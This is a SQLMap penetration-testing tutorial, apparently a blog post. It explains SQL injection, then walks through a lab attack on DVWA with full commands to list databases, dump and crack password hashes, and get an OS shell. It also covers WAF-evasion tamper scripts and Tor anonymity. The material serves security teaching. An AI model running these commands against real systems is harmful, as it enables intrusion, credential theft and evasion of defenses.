From SQL Injection To 0wnage Using SQLMap

SQL injection – one of the most critical vulnerabilities till now – is still included in the OWASP Top 10 list’s Injection flaws section. SQLMap is a tool that helps penetration testers prove that SQL injection is one the most critical vulnerabilities present in enterprise security.
‘SQLMap’is a simple python based tool to exploit SQL injection vulnerabilities to the level where it raises eyebrows becausethis tool can be used:

  • To scan web application for SQL injection vulnerability
  • To exploit SQL injection vulnerability
  • To extract the database and database user details completely
  • To bypass a Web Application Firewall (WAF) using tamper scripts
  • To own the underlying operating system i.e. gain the operating system access and run OS level commands.

Pre-requisites and Installation

  • For using this tool all you need to know is basics of SQL Injection, how and why it occurs
  • Once your SQL Injection detection is done, you need a direction as to what you want to perform while exploiting the target. For example, extracting the database, extracting the DB users or to execute the operating system shell.
  • SQLMap comes for both Linux and Windows operating systems.
  • Since, this tool is developed in Python language you need to have a Python interpreter installed on your machine.
  • Steps for installation:
    • For Linux, download the ‘tar ball’ file from http://sqlmap.org/ and perform standard utility installation
    • For Windows, download the ‘.zip’ file from http://sqlmap.org/and extract it to the desired location (make sure you have the latest version of Python installed)
    • In short, if you have Python running on your Operating System, you can use SQLMap.

SQL Injection

SQL Injection OWASP Overview: An SQL injection attack consists of insertion or “injection” of an SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.

Why SQL Injection occurs?

SQL Injection occurs due to the following reasons:

  • Lack of Input Sanitization:  The main reason for SQL injection to occur is the blind trust on the user input and acceptance of such inputs by the web application. It is necessary to have validation at both client and server side.
  • Allowing Maximum Exploitation: While assigning roles to the internally created user to access the database, if the privileges given to that user are not limited then we are actually allowing maximum exploitation. For example, if an application accesses a particular database and a single table in that database, the user used to access that table has rights to access multiple databases. In such a scenario, if SQL injection occurs then using a user with such privileges could create maximum impact including data extraction of all the databases.
  • Architecture Issues: Lack of control measures, lack of strict architecture designs, use of outdated techniques and technologies while development are few issues related to application development architecture. Ultimately, these reasons turn out to be reasons for SQL injection. Using techniques such as “threat modeling” where controls against web application attacks are implemented in the design phase itself are can be used to reduce architecture issues.
  • Inherited and Commonly Used Codes:  In many organizations, development teams or resources keep on shuffling without proper handover to the new team. The application code base is carried forward with every new enhancement in the application. Such inherited codes which are developed by the previous developers become a burden to simplify, to correct and to adapt to. Because of these legacy codes, the previous injection flaws in the application are also carried forward. A similar problem exists with publicly available code. Such code which is present everywhere on internet are used to avoid extra efforts in development, and if these are vulnerable to SQL injection, they make the entire application vulnerable.
  • Non-implementation of Controls: During application development, secure coding guidelines are not properly followed due to delivery challenges and timelines. Strong controls such as Stored Procedures and Parameterized queries which by themselves are strong techniques to mitigate the risk of SQL injection are not implemented leading to SQL injection risks. Both “stored procedures” and “parameterized queries” (also known as prepared statements), help the developers to separate application code and database which creates an additional layer of security. However, it is also necessary to modularize the application and code should be well abstracted from the data.

SQLMap Overview

It is an open source tool which is used for automating the task of detection and exploitation of SQL injection flaw in the web application. SQLMap supports exploitation of wide range of the DBMS, the list includes following names:

MySQL IBM DB2 Oracle
Postgresql SQLite Firebird
Microsoft SQL Server Microsoft Access Sybase
SAP MaxDB    

SQL Injection types used by SQLMap: –

  1. Boolean Based Blind SQL Injection
    1. For SQLMap, a Boolean based blind is a technique where in there is a lot of involvement of HTTP request and response reading character by character, comparison and detecting the right output.
    2. Once a vulnerable parameter is detected, SQLMap replaces or appends syntactically valid SQL statements for which we can expect some output.
    3. Say, there is an original un-tampered request with a vulnerable parameter, it has certain response and in next stage there is a request-response from an injected statement, then SQLMap performs comparison between these two responses.
    4. The tool uses bisection algorithm to fetch each character of the response with a maximum of seven HTTP requests and comparing their responses.
    5. Where the output is not within the clear-text plain charset, sqlmap will adapt the algorithm with bigger ranges to detect the output.
  2. Time Based Blind SQL Injection
    1. “Time based” itself suggests that there is some comparison on the basis of time the request and response by injecting syntactically valid SQL statement to the vulnerable parameter.
    2. SQLMap uses SQL statements which put the back-end database on hold to return for a certain number of seconds.
    3. Using the same technique i.e. bisection algorithm to inference the output character by character, SQLMap compares various HTTP responses time with the original request.
  3. Error-Based SQL Injection
    1. The tool uses SQL statements which would provoke the target database to generate database-specific error.
    2. HTTP response to such request is then parsed by sqlmap in search of DBMS error messages containing the injected pre-defined chain of characters and the subquery statement output within.
    3. This technique works only when the web application has been configured to disclose back-end database management system error messages.
  4. UNION Query
    1. A syntactically valid SQL Statement starting with an UNION ALL SELECT is injected to the vulnerable parameter.
    2. UNION query based SQL injection works on the basis of the application behavior i.e. when the application passes the output of written SELECT query through certain loop or line of statements which allow the output to be printed on the page content.
    3. In case the output is not cycled through any “for loop” or other line of statements, SQLMap uses single entry UNION query SQL injection.
  5. Stacked Queries
    1. Stacked queries exploitation occurs when an application is supporting stacked queries. SQLMap adds a semi-colon (;) to the vulnerable parameter value and appends SQL statement which is to be executed.
    2. Using this technique it is possible to run SQL statements other thank SELECT. This is useful for data manipulation, to get system read-write access and finally own the operating system.
  6. Out-of-band
    1. This technique uses a secondary or different communication channel to dump the output of the queries fired on the vulnerable application.
    2. For example, the injection is made to a web application and a secondary channel such as DNS queries is used to dump the data back to the attacker domain.

Basic Commands: -

 Command - C:\sqlmap>python sqlmap.py

Output – sqlmap/1.0-dev – automatic SQL injection and database takeover tool http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 17:47:59 Usage: sqlmap.py [options]

Command - C:\sqlmap>python sqlmap.py --help

Output – This gives you a page full of options and parameters; we will stick to the basic options which are required for general usage.
Options:

-h, –help Show basic help message and exit
-hh Show advanced help message and exit
-v VERBOSE Verbosity level: 0-6 (default 1)

Target:At least one of these options has to be specified to set the source to get target urls from

-d DIRECT Direct connection to the database
-u URL, –url=URL Target url
-l LOGFILE Parse targets from Burp or WebScarab proxy logs
-m BULKFILE Scan multiple targets enlisted in a given textual file
-r REQUESTFILE Load HTTP request from a file
-g GOOGLEDORK Process Google dork results as target urls
-c CONFIGFILE Load options from a configuration INI file

Other Key Options to use:

–cookie Set authentication cookie used for maintaining access
–dbs Enumerate databases
-technique Specify which SQL injection technique is to be used
–dbms Specify DBMS name if you already know it (your time is precious, save it)
-p TESTPARAMETER Specify if you already know testable parameter(s)

The options to use with SQLMap are totally dependent on what the attacker has in mind to perform on the database. Basic flow of SQLMap is as follows:

  • enumerate database information such as name, version, other details,
  • select a particular database to enumerate tables,
  • select tables and enumerate columns,
  • select columns and enumerate rows to extract data,
  • further exploitation if required.

Case Study:

Consider we have a setup of a vulnerable application called “Damn Vulnerable Web App (DVWA)” which is a PHP/MySQL web application. This application setup is free to use and designed for practicing Penetration testing skills and developer education.
Application IP: 192.168.152.129 (Private network)
URL: 
http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
Vulnerable Parameter: “id”

  1. Confirming SQL injection: Let’s check whether our setup is vulnerable to SQL injection or not.
    Command:

    • (Windows)
    python sqlmap.py 
    --url=”http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#”
    --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee"
    • (Linux)
    ./sqlmap.py
    --url=”http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#”
    --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee"

    Command Explained:
    –url: The vulnerable application’s URL
    –cookie: Session cookie to maintain access while attacking

    Output:

    From SQL Injection To 0wnage Using SQLMap_第1张图片

    Figure 1: SQLMap confirming SQL injection and enumerating application details

    Analysis: By looking at the output given by SQLMap we can conclude following points:

    • The application is vulnerable to SQL injection
    • Type of SQL injection – UNION query
    • Back-end DBMS – MySQL 5
    • Technology Details – Linux Ubuntu 8.04, PHP 5.2.4, Apache 2.2.8
  1. Enumerating Database Names: Is SQL injection present? Yes! Now, moving to step 2, check for what all databases we can enumerate out of the application.
    Command:

    • (Windows)
    python sqlmap.py 
    --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" 
    --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" --dbs
     
    • (Linux)
    ./sqlmap.py 
    --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" 
    --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" --dbs

    Command Explained:
    –url:  The vulnerable application’s URL –dbs: SQLMap option for database enumeration
    –cookie: Session cookie to maintain access while attacking

    Output:

    From SQL Injection To 0wnage Using SQLMap_第2张图片

    Figure 2: Enumerating databases using SQLMap

    Analysis: SQLMap enumerated names of available databases (overall 7 databases names)

  1. Enumerating a database table names – (Database – dvwa)
    Database names – check! Select a specific database and enumerate the table names present in that database.
    NOTE: You are too lazy to perform all the steps and provided you have enough of time, then you can simply use “–dump-all” option to dump entire database.
    Command:

    • (Windows)
    python sqlmap.py 
    --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa --tables
    • (Linux)
    ./sqlmap.py 
    --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa --tables

    Command Explained:
    –url:  The vulnerable application’s URL
    -D: Specify out of which database tables are to be enumerated
    –cookie: Session cookie to maintain access while attacking
    –tables: Tell SQLMap to enumerated table names present in the specified database

    Output:

    From SQL Injection To 0wnage Using SQLMap_第3张图片

    Figure 3: Enumerating Table Names from specific database

    Analysis: As we can see from the screenshot, SQLMap could successfully enumerate 2 table names from the specified database – dvwa.

  1. Further enumeration of table – “users” – (Database – dvwa)
    Let’s go inside the table now and see what the vulnerable application is about to offer us.
    Command:

    • (Windows)
    python sqlmap.py
    --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
    --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T users --columns
    • (Linux)
    ./sqlmap.py 
    --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" 
    --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T users --columns

    Command Explained:
    –url:  The vulnerable application’s URL
    -D: Specify out of which database, tables are to be enumerated
    -T: Specify out of which table/s, columns are to be enumerated
    –columns: Tell SQLMap to enumerated column details present in the specified table
    –cookie: Session cookie to maintain access while attacking

    Output:

    From SQL Injection To 0wnage Using SQLMap_第4张图片

    Figure 4: Enumerating column details from a table “users”

    Analysis: As we can see from the screenshot, SQLMap could successfully enumerate 6 column details from the specified table “users” and database – dvwa.

  1. Enumeration of actual data (row entries) present in table – “users” – (Database – dvwa)
    Alright! So we have name of the database, name of the table and its columns. Now, we try to dump the data present in the table i.e. row-wise entries present in the table. Again, if you are lazy enough, then go for “–dump-all”, sit back and go on sipping your coffee.
    Command:

    • (Windows)
    python sqlmap.py 
    --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" 
    --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa 
    -T users -C user_id,user,password --dump
    • (Linux)
    ./sqlmap.py 
    --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" 
    --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa 
    -T users -C user_id,user,password --dump

    Command Explained:
    –url:  The vulnerable application’s URL
    -D: Specify out of which database, tables are to be enumerated
    -T: Specify out of which table/s, columns are to be enumerated
    -C : List of columns from which the data is to be enumerated
    –dump: Tell SQLMap to dump all the entries
    –cookie: Session cookie to maintain access while attacking

    Output:

    From SQL Injection To 0wnage Using SQLMap_第5张图片

    Figure 5: Enumeration of table entries from table “users”

    Analysis: From the output received from SQLMap, we can conclude following points:

    • SQLMap retrieves entries of the specified columns and then analyzes the data present in these columns.
    • Once the data is recognized as possible password hashes, SQLMap tries to attempt to crack the hash using various hashing algorithm.
    • In this case, the hash is MD5 hence, with very first hash technique which the tool uses i.e. ‘MD5’ it could successfully crack the hashes and could give a well formatted output.
    • Also, the tool saves the enumerated entries inside a “.csv” format file for further usage; therefore, no need to dump data to a text file or to take a screenshot, SQLMap will take care of it.
  1. Further Exploitation:Like a critic, let’s ask ourselves what more we can do? The answer is let’s own the operating system. A slight change in the system setup, we have an ASP web application with simple login page which is vulnerable to SQL injection.Command:
    • (Windows)
    python sqlmap.py --url="http://192.168.152.129/login.asp" 
    --data="txtLoginID=shrikant&txtPassword=password&cmdSubmit=Login" --os-shell
    • (Linux)
    ./sqlmap.py --url="http://192.168.152.129/login.asp" 
    --data="txtLoginID=shrikant&txtPassword=password&cmdSubmit=Login" --os-shell

    Command Explained:
    –url:  The vulnerable application’s URL
    –data: Specify the parameters to be tested which are flowing in POST request
    –os-shell: SQLMap will try to get the operating system command shell by exploiting SQL injection

    Output:

    From SQL Injection To 0wnage Using SQLMap_第6张图片

    Figure 6: Owning the operating system shell prompt

    Analysis: From the output received from SQLMap, we can conclude following points:

    • Once confirmed and exploited SQL injection vulnerability in the application, SQLMap checked if the user is DBA or not,
    • Once this is done, the tool tried to exploit an extended stored procedure which is typically used by SQL Server 2000, this procedure is “xp_cmdshell”,
    • What is “xp_cmdshell”? It is used for executing a given command string as an operating-system command. In return, it gives the output as a standard text. In short, it grants non-administrative users permissions to execute OS shell,
    • By exploiting this procedure, SQLMap tried to call Windows OS shell which indeed was successfully taken.

    Advantages of getting the deeper level access of the system:

    • get the user credentials or password hashes to crack,
    • get an interactive shell in place which will allow you to download or upload files,
    • run OS level commands to explore internal network,
    • install programs for further exploitation of victim’s network by creating camouflage,
    • further exploitation using metasploit,
    • create a backdoor in the victim system.

0wnage& Advance SQLMap Usage

  • Operating System Level Access:
Switch Details
–os-cmd=OSCMD Run operating system level commands
–os-shell Invoke an interactive shell for communication
–os-pwn Injecting a Meterpreter shell or VNC
–os-smbrelay One click prompt for an OOB shell, meterpreter or VNC
–os-bof Stored procedure buffer overflow exploitation
–priv-esc Database process’ user privilege escalation
–msf-path=MSFPATH Local path where Metasploit Framework 3 is installed
  • File System Level Access:  There are options which can be used to access the underlying file system of the database server.
Switch Details
–file-read=RFILE Read a file from the back-end DBMS file system
–file-write=WFILE Write a local file on the back-end DBMS file system
–file-dest=DFILE Back-end DBMS absolute filepath to write to
  • Windows Registry Access: These options can be used to access the back-end database management system’s Windows registry.
Switch Details
–reg-read Read a Windows registry key value
–reg-add Write a Windows registry key value data
–reg-del Delete a Windows registry key value
–reg-key=REGKEY Windows registry key
–reg-value=REGVAL Windows registry key value
–reg-data=REGDATA Windows registry key value data
–reg-type=REGTYPE Windows registry key value type

Few Tricky Shots:

Many times while performing penetration testing, there are lots of challenges which people take as hurdles. These days, there are different technologies used for application development which you need to understand while making strong strategies for testing.

  • SQLMap and SOAP (Simple Object Access Protocol) request: Previously SQLMap couldn’t perform testing on SOAP requests but now this functionality has been added.The process to perform SOAP request analysis is quite simple:
    • Capture your SOAP request
    • Save it in a text file along with the possible vulnerable parameters (We’ll call it as So_request.txt).
    • Use below command for SQLMap along with “-p” option if you are aware of the vulnerable parameter:
      ./sqlmap.py -r So_request.txt -p 
    • SQLMap will automatically parse the SOAP request and try to penetrate into the vulnerable parameter./li>
  • SQLMap and JSON (JavaScript Object Notation) request: On similar lines of use of SQLMap for SOAP requests, JSON requests can be parsed and penetrated. For JSON type of request, SQLMap will prompt you a basic question stating that SQLMap has detected JSON type of request in the “request file” and if you’d like to continue? Once you answer yes, the tool will parse the request and go its own way of attacking.
  • SQLMap and Proxy Server: In a typical corporate environment network, you have to deal with lots of approvals for proper network access and internet access. These types of networks are usually secured and monitored using controlled proxy servers for all the traffic coming in or going out. In such cases, you have an option to add a proxy setting straight to the SQLMap option for communicating to the target URL. Though SQLMap is a command-line tool, it communicates over HTTP protocol hence, if you set a HTTP proxy for respective internet connection, SQLMap would accept it for its work.
    Command:./sqlmap.py --proxy=”http://:
  • SQLMap On WAF (Web Application Firewall): For additional security, a number of organizations have deployed web application firewalls (WAF). Now, this is a tricky part to exploit such an environment. Here, normal SQL injection attack vectors will not work neither will normal scripts. A feature called “tamper script” of SQLMap makes our life little easy on WAF front. Few steps to make use of this option are:
    • Go to SQLMap directory where SQLMap resides
    • Look for a child directory called “tamper”
    • In this directory, there are python scripts to be used
    • Else you can visit “https://github.com/sqlmapproject/sqlmap/tree/master/tamper” for more python scripts to use with tamper option
    • Just check the names or copy the names of those files for your reference
    • To verify or check the backend WAF protection in place, “–identify-waf” can be used
    • If you have found the file online then copy it and save it in SQLMap’s “tamper” directory
    Command:./sqlmap.py  --tamper=”.py”

    Example scripts: space2hash.py, space2mysqlblank.py can be used when MySQL is an underlying database, charunicodeencode.py, percentage.py to hide payloads against ASP/ASP.NET applications

  • Anonymity: When you want to hide your identity and introduce yourself as anonymous to the target application you can opt for TOR (The Onion Router) proxies.In SQLMap, you can set your TOR proxy for hiding the source from where the traffic or request is generated.Simple switches which make this job easy are:
    • –tor :  With this switch SQLMap will try to set the TOR proxy settings automatically
    • –tor-port, –tor-type :  can help you out to set the TOR proxy manually
    • –check-tor : this will check if the tor setup is appropriate and functional

Points to Remember:

  • It is important to make use of such a powerful tool responsibly and maturely.
  • Such a tool in a novice’s hands could create a devastating effect on the target system as well as the enterprise.
  • SQLMap generates too many queries and could affect the performance of the target database if used in wrong way.
  • Strange entries and changes in database schema are possible if the tool is not controlled and used exhaustively.
  • For a learner in application security, it is very much advised to have thorough knowledge of SQL injection attack and the background of the tool which is used. Because of this, the use of SQLMap on test systems and sample applications is a must before using it on production systems.

References:

  • https://github.com/sqlmapproject/sqlmap/wiki/ -SQLMap Project by github
  • http://0entropy.blogspot.in/2011/04/sqlmap-and-tor.html – SQLMap and TOR
  • https://www.mavitunasecurity.com/s/research/OneClickOwnage.pdf – One click 0wnage
  • http://resources.infosecinstitute.com/sql-injections-introduction/ - Introduction to SQL injection
  • http://www.slideshare.net/null0x00/sql-injection-0wning-enterprise?from_search=4 – One click 0wnage using SQL map byTaufiq Ali

Conclusion:

Automated tools or scripts such as SQLMap are making it easy to exploit an SQL Injection vulnerability and leverage it to completely break into the system and gain full control over it. The extreme flexibility and openness of SQLMap certainly has an edge over other automated tools. No longer is it possible for development teams to put in temporary and often ineffective quick fixes for SQL injection. The end-result of using SQL Map is often so damaging, that the developers have no choice but to fix these issues quickly and properly. Moreover, the use of SQLmap in the hands of an experienced pen-tester can allow him/her to penetrate much deeper into the network and gain almost complete access to the server segment. On occasionwe have even used this attack tool to get access right up to the CTO’s own laptop!

你可能感兴趣的:(Web类)